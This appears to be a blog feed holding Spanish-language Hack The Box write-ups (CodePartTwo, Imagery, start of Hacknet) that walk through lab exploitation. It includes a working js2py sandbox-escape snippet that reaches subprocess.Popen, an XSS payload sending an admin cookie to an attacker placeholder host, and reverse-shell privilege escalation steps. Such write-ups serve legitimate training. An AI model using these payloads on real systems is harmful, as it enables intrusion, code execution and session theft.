&lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hacked&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bymarve&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n11&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getattr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;hacked&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getOwnPropertyNames&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;({})&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;bymarve&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hacked&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__getattribute__&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;n11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bymarve&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;__getattribute__&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n11&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;__class__&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__base__&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;getattr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__getattribute__&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;findpopen&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__subclasses__&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__subclasses__&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__module__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;subprocess&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Popen&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;type&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;findpopen&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;n11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;findpopen&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;communicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Usando netcat nos pondremos a la escucha en el puerto correspondiente; al ejecutar el código en la web obtendremos una reverse shell como el usuario &lt;strong&gt;app&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/38886c51-2761-4633-a8c2-bf2a576c8133&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez dentro del sistema y con la ubicación de la base de datos identificada en la fase de enumeración, buscamos el archivo de la base de datos y, usando &lt;strong&gt;sqlite3&lt;/strong&gt;, ejecutamos una consulta para listar los usuarios registrados. Nos fijamos en el primer usuario creado, &lt;strong&gt;marco&lt;/strong&gt;, y procedemos a crackear su contraseña.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/c45bca0c-769c-4a81-8b48-a52b472e3d57&quot; /&gt;&lt;/p&gt;

&lt;p&gt;La contraseña de &lt;strong&gt;marco&lt;/strong&gt; parece estar cifrada con MD5; usando la web de &lt;strong&gt;CrackStation&lt;/strong&gt; podremos descifrarla rápidamente.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/bf15582b-4804-40fe-86d5-0fedd0afe54c&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Con la contraseña podremos acceder por SSH como &lt;strong&gt;marco&lt;/strong&gt; y obtener la primera flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/4cd1aa5a-d6d3-4ef6-8f47-19065c5a7096&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;escalada-de-privilegios&quot;&gt;Escalada de privilegios&lt;/h1&gt;
&lt;p&gt;Una vez dentro del sistema, enumeraremos todo lo que puede hacer el usuario &lt;strong&gt;marco&lt;/strong&gt; con el siguiente comando. En la imagen siguiente se muestra que &lt;strong&gt;marco&lt;/strong&gt; puede ejecutar el programa &lt;strong&gt;npbackup-cli&lt;/strong&gt; con privilegios de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/afbaed63-e18c-4c9a-a927-6d667df27bb4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Lo primero es conocer la aplicación y sus opciones; con el parámetro &lt;strong&gt;-h&lt;/strong&gt; obtendremos la información necesaria para resolver el puzzle y escalar privilegios.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/c3a48ee2-ef29-4370-ba84-fb326aacd417&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Para usar la aplicación necesitamos un archivo de configuración (ubicado en el directorio de &lt;strong&gt;marco&lt;/strong&gt;) y crear un archivo adicional que nos permita escalar privilegios.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/200cd85c-d22b-47ab-a527-01da83235940&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dado que el programa se ejecutará con privilegios de root, es necesario crear un archivo que inicie la conexión remota; al ejecutarlo como root, la shell remota heredará privilegios de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/ae655849-fd37-462e-b987-f1818a42e481&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ahora ya tenemos todo listo para el paso final: primero nos pondremos a la escucha con netcat en el puerto correspondiente; a continuación ejecutaremos la aplicación con privilegios de administrador, indicando el archivo de configuración, el script de conexión remota creado anteriormente y el nombre del backup.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/f7a67c90-d188-41a6-9535-8ee68ff18039&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finalmente recibimos la conexión con permisos de administrador y obtendremos la flag final.&lt;/p&gt;

&lt;h1 id=&quot;conclusión&quot;&gt;Conclusión&lt;/h1&gt;

&lt;p&gt;En CodeTwo realizamos enumeración, revisión del código descargado, escape de sandbox y escalada mediante una herramienta con privilegios. La descarga del código nos dio el árbol de archivos y la ubicación de la base de datos; la PoC de js2py nos sirvió para escapar de la sandbox y obtener una reverse shell como &lt;strong&gt;app&lt;/strong&gt;. Desde ahí, con sqlite3 y CrackStation recuperamos la contraseña de &lt;strong&gt;marco&lt;/strong&gt;, accedimos por SSH y conseguimos la primera flag.&lt;/p&gt;

&lt;p&gt;La enumeración posterior reveló que &lt;strong&gt;marco&lt;/strong&gt; podía ejecutar &lt;strong&gt;npbackup-cli&lt;/strong&gt; como root; creando el archivo de configuración y un script de reverse shell, y ejecutando la aplicación con privilegios, conseguimos una shell con permisos de root y la flag final.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/72728de9-7526-441a-9f6c-e8456e9d5128&quot; alt=&quot;ken&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Fri, 06 Feb 2026 00:00:00 +0000</pubDate>
        <link>https://dtrigger289.github.io//Writeup-HTB-CodePartTwo</link>
        <link href="https://dtrigger289.github.io/Writeup-HTB-CodePartTwo"/>
        <guid isPermaLink="true">https://dtrigger289.github.io/Writeup-HTB-CodePartTwo</guid>
      </item>
    
      <item>
        <title>Imagery WriteUp Hack The Box</title>
        <description>&lt;h1 id=&quot;introducción&quot;&gt;Introducción&lt;/h1&gt;

&lt;p&gt;Hoy vamos a resolver &lt;strong&gt;Imaginary&lt;/strong&gt;, una máquina de nivel medio de HackTheBox que nos permitirá practicar diversas técnicas de pentesting web. Esta máquina es particularmente interesante porque combina vulnerabilidades clásicas que todo pentester debe conocer: desde la explotación de XSS (Cross-Site Scripting) para robar cookies de sesión, hasta ataques de Local File Inclusion (LFI) y ejecución remota de comandos.&lt;/p&gt;

&lt;p&gt;El escenario nos presenta una aplicación web aparentemente sencilla con funcionalidad de carga de imágenes, pero que esconde múltiples vectores de ataque.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/94185a65-332d-4580-b098-d79dab222910&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;reconocimiento&quot;&gt;Reconocimiento&lt;/h1&gt;
&lt;p&gt;Comenzamos escaneando los puertos abiertos de la máquina. En este caso, tiene abiertos el puerto 22 (SSH), con el que no podremos hacer nada de momento ya que no disponemos de credenciales, y el puerto 8000, donde se encuentra alojada una aplicación web.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/10dc98d8-3076-4805-9aaf-0c400b9e18f6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Si accedemos a la máquina a través del puerto 8000, veremos una web con funcionalidades básicas: registro de usuarios e inicio de sesión.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/96c9db32-ac28-4a73-85aa-9d38ffc3567d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Después de enumerar posibles subdominios sin resultados, procedo a crear una cuenta y acceder a ella.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/984e7a6a-9937-46cf-b447-cfc271702f62&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez dentro, las funcionalidades son limitadas: únicamente podemos subir imágenes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/b8328f6a-1691-456b-bbaf-3739b3ed1726&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Intento enumerar posibles directorios, pero tampoco encuentro nada relevante.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/6838c880-3c80-45fc-b169-ea853d7c198e&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al revisar el código fuente de la web, descubro que existe la ruta &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/bug_reports&lt;/code&gt; junto con algunas funciones asociadas a esta ruta.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/a6e2a2cf-f8d0-465e-90da-b56316ba4190&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Examinando más detenidamente la sección inferior de la web, aparece un botón nuevo que anteriormente no estaba visible y que sirve para informar de fallos en la plataforma.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/42f6acb1-ede7-4788-9432-33e8b24aff02&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al acceder a esta sección, nos solicita el nombre del fallo y los detalles del mismo.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/b9064dfc-32b1-4202-893f-b84f7cfde5fb&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;explotación&quot;&gt;Explotación&lt;/h1&gt;
&lt;p&gt;En este tipo de situaciones, la primera opción es probar una inyección XSS. Rellenaremos el formulario con un payload que, cuando el administrador acceda a revisar el reporte y no pueda cargar la imagen, nos envíe su cookie de sesión a nuestro puerto en escucha:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;img&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;onerror&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;document.location=&apos;http://&amp;lt;IPAtacante&amp;gt;:&amp;lt;Puerto&amp;gt;/?cookie=&apos;+document.cookie&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pongo el puerto 4444 en escucha para recibir la cookie y después envío el formulario con la inyección de código. Al cabo de unos momentos, recibo una petición GET con la cookie del usuario administrador.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/754a39f1-6bf4-4b4e-bfe0-f5f82a13e87d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Presiono F12 para abrir las herramientas de desarrollo y modifico mi cookie de sesión por la cookie obtenida del usuario admin. Al refrescar la página, aparece el botón que nos da acceso al panel de administrador.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/2b516b37-3827-42bf-9336-b53b7f00607e&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dentro de este panel podemos descargar los registros de los usuarios que se han registrado en la web y los fallos que han sido reportados.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/d84df4af-1264-4052-87b1-6caf2bfeeb96&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Intercepto la petición cuando pulso el botón “Download Log” para ver qué ocurre por detrás. Al probar un ataque de Local File Inclusion (LFI), descubro que podemos enumerar cualquier archivo de la máquina.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/2ba7653c-da71-41b7-b302-4d8b6d2bb940&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Probando archivos comunes como &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/self/environ&lt;/code&gt;, encuentro que existe la ruta &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/web&lt;/code&gt;, donde podrían estar los archivos de configuración de la aplicación.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/10468315-a882-42ea-a976-a9e3ca351053&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tras enumerar varios archivos, localizo un archivo de configuración que describe cómo está configurada la web. Dentro de este archivo encuentro la ruta de la base de datos de la aplicación.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/15a7e9f7-d847-449a-a85d-5de08f5af0f2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al leer el archivo de la base de datos, encuentro los usuarios creados en la web y sus contraseñas cifradas con MD5.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/863e8d10-9baf-4a5e-b17c-38831d1d07fe&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como ya hemos accedido a la web con el usuario “admin”, pruebo a acceder con el usuario “testuser”. Copio su contraseña cifrada y la descifro con &lt;a href=&quot;https://crackstation.net/&quot;&gt;CrackStation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/62b043bb-3793-4335-b5d2-6c341c786bca&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al acceder a la cuenta de “testuser”, tenemos los mismos botones que un usuario normal. Procedo a subir una foto y experimentar con las funcionalidades disponibles.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/8c9e3779-569a-429e-9c08-441cbd8bfb57&quot; /&gt;&lt;/p&gt;

&lt;p&gt;El formulario solicita la imagen que queremos subir junto con algunos parámetros adicionales.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/aef9781a-08c9-437e-8801-3f519c9417a2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dentro de las opciones podemos recortar la imagen. Intercepto la petición que se genera cuando modificamos la imagen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/0833ad97-3a70-4fd8-88f2-2244621ce78a&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Dentro de las opciones podemos recortar la imagen. Intercepto la petición que se genera cuando modificamos la imagen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/b9dd29e0-01ed-4300-91d4-54ad7fc48874&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/7f142cb5-9814-44ac-b979-0f65d4a22056&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Descubro que podemos ejecutar comandos del sistema desde cualquier parámetro de la petición.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/6ec77e11-3bde-418e-b966-36ce6a8919d0&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Sabiendo esto, puedo crear una reverse shell. Pongo mi máquina en escucha y envío la petición con el comando de conexión remota. Si todo ha ido bien, obtengo acceso a la máquina como el usuario “web”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/08644688-789a-4a60-8330-c875b3e54fc6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tras realizar una enumeración exhaustiva de la máquina, encuentro en la ruta &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/backup&lt;/code&gt; un archivo cifrado con extensión &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.aes&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/8828cf71-90f8-46af-a1fa-84586b024e3d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como la máquina tiene Python instalado, creo un servidor web dentro de la máquina para copiar el archivo a mi equipo e intentar descifrarlo.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/d602b3ef-400e-49df-9f10-59d2ad632f7a&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Una vez iniciado el servidor, utilizo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt; para descargar el archivo.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/dd7e3736-6555-4914-b845-656313bd6066&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Con un poco de investigación, encuentro herramientas que realizan fuerza bruta a este tipo de archivos cifrados. En mi caso, utilicé &lt;a href=&quot;https://github.com/Nabeelcn25/dpyAesCrypt.py/tree/main&quot;&gt;dpyAesCrypt.py&lt;/a&gt; por su facilidad de uso. Al ejecutar la herramienta seguida del archivo cifrado y del diccionario de palabras, tras un tiempo de procesamiento, el código extrae la clave del archivo y lo descifra.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/3630d4b3-7f1d-4db7-82a4-75663984eb4b&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al extraer el archivo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.zip&lt;/code&gt;, obtengo todos los archivos de la copia de seguridad de la web. Si reviso la base de datos que vimos anteriormente, encuentro que había otro usuario con su contraseña cifrada en formato MD5.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/acd08d33-08ad-4b02-bc01-d80a6b970c61&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Repito el mismo proceso: copio y pego la contraseña cifrada en &lt;a href=&quot;https://crackstation.net/&quot;&gt;CrackStation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/974e4025-0923-4502-82d0-eb503e950a6d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ahora tengo la contraseña de “mark”. Accedo a su cuenta del sistema y obtengo la primera flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/4ca900a4-f18e-4d0a-958c-5d508700964e&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;escalada-de-privilegios&quot;&gt;Escalada de privilegios&lt;/h1&gt;
&lt;p&gt;Ya queda menos: solo falta la fase de escalada de privilegios para convertirnos en administrador del sistema. Lo más común es comenzar enumerando todo lo que puede ejecutar el usuario “mark” con permisos de administrador en la máquina. En este caso, “mark” puede ejecutar con permisos de administrador la aplicación “charol”, un programa para crear copias de seguridad en archivos comprimidos.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/4d33e527-c8c3-4225-93b8-4189e62f9db1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Como no sabemos qué contraseña tenía “mark” en esta herramienta, voy a reiniciarla y eliminar su contraseña. Una vez obtengo acceso a la herramienta, ejecuto el comando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;help&lt;/code&gt; para ver qué funciones puede realizar el programa.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/1a5c83ab-aaa9-4f76-8df1-6781ebb0d34c&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Al parecer, el programa permite programar la ejecución de comandos cada cierto tiempo. Como la aplicación tiene permisos de administrador, puedo crear una reverse shell que me dé acceso al usuario “root” cada segundo.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/3f54da1f-306f-40e5-978d-359efdb4ba4a&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finalmente, una vez obtenida la conexión remota como el usuario “root”, puedo obtener la última flag de la máquina.&lt;/p&gt;

&lt;h1 id=&quot;conclusión&quot;&gt;Conclusión&lt;/h1&gt;
&lt;p&gt;Y con esto llegamos al final de la resolución de &lt;strong&gt;Imaginary&lt;/strong&gt;. Esta máquina nos ha permitido practicar una cadena completa de explotación que incluye múltiples vulnerabilidades comunes en aplicaciones web reales.&lt;/p&gt;

&lt;p&gt;Espero que este writeup te haya resultado útil. ¡Nos vemos en la próxima publicación!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/5d3b3dee-0cea-4e46-b4cd-0fbcfe6feeb1&quot; alt=&quot;ken&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 25 Jan 2026 00:00:00 +0000</pubDate>
        <link>https://dtrigger289.github.io//Writeup-HTB-Imagery</link>
        <link href="https://dtrigger289.github.io/Writeup-HTB-Imagery"/>
        <guid isPermaLink="true">https://dtrigger289.github.io/Writeup-HTB-Imagery</guid>
      </item>
    
      <item>
        <title>Hacknet WriteUp Hack The Box</title>
        <description>&lt;p&gt;&lt;img width=&quot;300&quot; height=&quot;300&quot; alt=&quot;imagen&quot; src=&quot;https://github.com/user-attachments/assets/564c70dd-a3cd-4ccc-a34c-68ce7b88e808&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;introducción&quot;&gt;Introducción&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Hacknet&lt;/strong&gt; es una máquina de &lt;strong&gt;Hack The Box&lt;/strong&gt; de dificultad media. La explotación requiere adentrarse en una red social de &lt;em&gt;hackers&lt;/em&gt;, comprender su funcionamiento e &lt;strong&gt;introducir un payload en nuestro nombre de usuario&lt;/strong&gt; para extraer información, como &lt;strong&gt;nombres y contraseñas&lt;/strong&gt; del resto de los usuarios.&lt;/p&gt;

